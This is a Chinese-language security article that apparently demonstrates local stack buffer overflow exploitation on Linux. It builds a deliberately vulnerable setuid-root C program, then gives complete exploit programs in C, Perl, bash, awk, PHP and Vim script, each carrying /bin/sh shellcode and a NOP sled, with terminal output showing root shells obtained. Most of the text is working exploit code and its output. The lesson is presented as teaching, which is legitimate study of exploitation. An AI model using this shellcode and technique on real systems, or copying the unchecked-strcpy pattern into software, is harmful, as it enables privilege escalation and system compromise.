注册
登录
| 关键词： nbsp cloud test vul 语言 MagicLinux watercloud 程序 版本 xcd |
溢出利用程序不仅仅是只能用c语言编写，其实几乎任何编程语言都能用来编写溢出利用程序，这里用Linux作为试验平台，以实例演示C、Perl、Shell、Awk语言编写溢出利用程序。之所以选择这几个语言是因为他们都几乎是Unix系统自带的语言（商用Unix系统中C语言例外）。示例中基本都是把SHELLCODE放到环境变量中来实现精确定位的。<一> 有溢出漏洞的vul.c[cloud@test]$ iduid=505(cloud) gid=503(test) groups=503(test)[cloud@test]$ cat vul.c/* Demo Have a bof vul at argv[1]. Write by watercloud @ xfocus.org */#include<stdio.h>int main(int argc,char * argv[]){ char buff[32]; if(argc > 1) { strcpy(buff,argv[1]); } printf("buff : %s\n",buff); return 0;}[cloud@test]$ gcc vul.c -o vul[cloud@test]$ ls -l vul-rwxr-xr-x 1 cloud test 11627 2月 24 10:14 vul[cloud@test]$ sudo chown root vul[cloud@test]$ sudo chmod u+s vul[cloud@test]$ ls -lh vul-rwsr-xr-x 1 root test 11K 2月 24 10:14 vul<二> C语言版本利用程序ex.c[cloud@test]$ cat ex.c/* Demo for exploit bof of "./vul" Write by watercloud @ xfocus.org */#include <stdio.h>#define TARGET "./vul"#define ADDR 0xbffff3e8char SH[]="1\xc0PPP[YZ4\xd0\xcd\x80" "j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";int main(int argc,char * argv[]){ char env_buff[4000]; char cmd_buff[1024]; int i,ret; unsigned int *pi; char * pc; for(i=0;i<3096;env_buff[i++]=0x90){ }; env_buff[i]='\0'; strcat(env_buff,SH); setenv("KK",env_buff,1); strcpy(cmd_buff,TARGET); pc=&cmd_buff[strlen(TARGET)]; *pc++=' '; for(ret=1,i=0;i<4 && ret;i++) { int j; *pc++='A'; pi=(unsigned int *)pc; for(j=0;j<20;*pi++=ADDR,j++){}; *pi=0; ret=system(cmd_buff); } return ret;}[cloud@test]$ gcc ex.c -o ex[cloud@test]$ ./exbuff : A梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??梵�胯??buff : AA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??buff : AAA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?�胯?胯??buff : AAAA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??sh-2.05b# iduid=0(root) gid=503(test) groups=503(test)sh-2.05b# exitexit<三> perl语言版本利用程序ex.pl[cloud@test]$ cat ex.pl#!/usr/bin/perl# Demo for exploit bof of "./vul"# Write by watercloud @ xfocus.org#$ENV_LEN=`env |wc -c`$SHELL="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";$ENV{KK}= "\x90"x 3096 . $SHELL;for($ret=1,$ag="AA",$i=0;$i<4 && $ret; $ag="A"x $i++) { $ret=system "./vul",$ag. "\xff\xbf\xe8\xf3"x20; #ADDR:0xbffff3e8}#EOF[cloud@test]$ perl ex.plbuff : AA�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?sh-2.05b# iduid=0(root) gid=503(test) groups=503(test)sh-2.05b# exitexit<四> Shell语言版本利用程序ex.sh[cloud@test]$ cat ex.sh#/bin/bash# Demo for exploit bof of "./vul"# Write by watercloud @ xfocus.org#ENV_LEN=`env |wc -c|tr -d ' '`SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";AG="AA";for (( i=0;i<10;i++));do AG=$AG$AG;done ;AG=$AG$AG$AG #3096for((i=0;i<20;i++));do AD=$AD"\xff\xbf\xe8\xf3";done #ADDR:0xbffff3e8export AGSHELL=$AG`echo -e $SH`for((i=0;i<4;i++)) ;do AA=$AA"A" if ./vul $AA`echo -e $AD` then break fidone#EOF[cloud@test]$ chmod a+x ex.sh[cloud@test]$ ./ex.shbuff : A�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?�胯?胯?./ex.sh: line 16: 5287 段错误 ./vul $AA`echo -e $AD`buff : AA�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?sh-2.05b# iduid=0(root) gid=503(test) groups=503(test)sh-2.05b# exitexit<五> awk语言版本利用程序ex.awk[cloud@test]$ cat ex.awk# Demo for exploit bof of "./vul"# Write by watercloud @ xfocus.orgBEGIN{ SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80"; AG="AA"; for ( i=0;i<10;i++) { AG=AG""AG; } AG=AG""AG""AG #3096 for(i=0;i<20;i++) { AD=AD"\xe8\xf3\xff\xbf"; #ADDR:0xbffff3e8 } AA="AA" for(i=0;i<4;i++) { AA=AA"A" system("./vul "AA""AD" "AG""SH) }}#EOF[cloud@test]$ gawk -f ex.awk /dev/nullbuff : AAA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??buff : AAAA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??sh-2.05b# iduid=0(root) gid=503(test) groups=503(test)sh-2.05b# <六> PHP版本[cloud@MagicLinux tmp]$ iduid=502(cloud) gid=502(cloud) groups=502(cloud)[cloud@MagicLinux tmp]$ ls -l vul-rwsr-xr-x 1 root root 4895 2月 26 20:57 vul[cloud@MagicLinux tmp]$ cat ex.php<?php$SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";$AG="AA";for( $i=0;$i<10;$i++){ $AG.=$AG;}$AG.=$AG.$AG; #3096for($i=0;$i<20;$i++) { $AD.="\xff\xbf\xe8\xf3";#ADDR:0xbffff3e8}for($i=0;$i<4;$i++) { $AA.="A"; print system("./vul ".$AA.$AD.$AG.$SH);}?>[cloud@MagicLinux tmp]$ php ex.php 1>/dev/nullid >&2uid=0(root) gid=502(cloud) groups=502(cloud)exit[cloud@MagicLinux tmp]$ <七> Vim扩展脚本版本连vim编辑器的扩展编程脚本也可以拿来写溢出的说：[cloud@MagicLinux tmp]$ iduid=502(cloud) gid=502(cloud) groups=502(cloud)[cloud@MagicLinux tmp]$ cat ex.vimlet SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80"let AG="AA"let i=0while(i<10) let AG=AG.AG let i=i+1endwhilelet AG=AG.AG.AG"len of AG is 3096let AD=""let i=0while(i<20) let AD=AD."\xff\xbf\xe8\xf3""ADDR:0xbffff3e8 let i=i+1endwhilelet AA=""let i=0while(i<4) let AA=AA."A" execute "!./vul ". AA . AD . AG . SH let i=i+1endwhile[cloud@MagicLinux tmp]$ ls -l vul-rwsr-xr-x 1 root root 4895 2月 26 20:57 vul[cloud@MagicLinux tmp]$ vim -eS ex.vimXlib: connection to ":0.0" refused by serverXlib: No protocol specifiedbuff : A�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯驛AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA……………………………………………………………………AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1繮PP[YZ4型�j X橰hn/shh//biT[RSTY蛝sh-2.05b# iduid=0(root) gid=502(cloud) groups=502(cloud)sh-2.05b# <八> ……<九> 小语 溢出的根本在于地址定位、堆栈等数据结构的使用约定和组织、操作系统运行时结构等了解这些知识后溢出利用本生和编程语言是没有关系的。 watercloud [at] xfocus.org |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
